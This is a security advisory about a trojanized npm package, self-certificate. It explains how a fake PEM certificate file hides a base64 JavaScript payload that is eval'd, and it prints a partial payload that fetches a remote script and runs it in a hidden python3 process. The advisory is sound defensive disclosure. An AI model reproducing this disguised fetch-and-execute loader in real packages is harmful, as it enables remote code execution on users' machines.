LWA-2026-4227 MAL-2026-5644 ↗ confirmed malware

self-certificate@1.0.0

Malicious code in self-certificate (npm)

T1059.007 · JavaScriptT1105 · Ingress Tool TransferT1059.006 · Python

Analysis

self-certificate@1.0.0 is a trojanized npm package. The main index.js exports generateCertificates() which calls loadSampleCertificate(), a function that reads sample/cert.pem, strips the PEM headers, base64-decodes the body, and evals the result. The decoded body is NOT a certificate — it is a malicious JavaScript payload: (async () => { ... const { spawn } = require('child_process'); const url = Buffer.from(encoded_url, 'base64').toString(); const response = await fetch(url); const log = await response.text(); const p = spawn(os.platform() === 'win32' ? 'python' : 'python3', ['-'], { detached: true, windowsHide: true }); p.stdin.write(log); ... })(); This fetches a second-stage script from a Dropbox-hosted URL and pipes it to python3 - in a detached hidden process. No NPM_TOKEN, GITHUB_TOKEN, or .npmrc theft markers found — the package is a remote code execution dropper.

analyzed by
Leitwacht
first seen
Jun 11, 2026, 10:31 AM
analyzed
Jun 11, 2026, 10:32 AM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.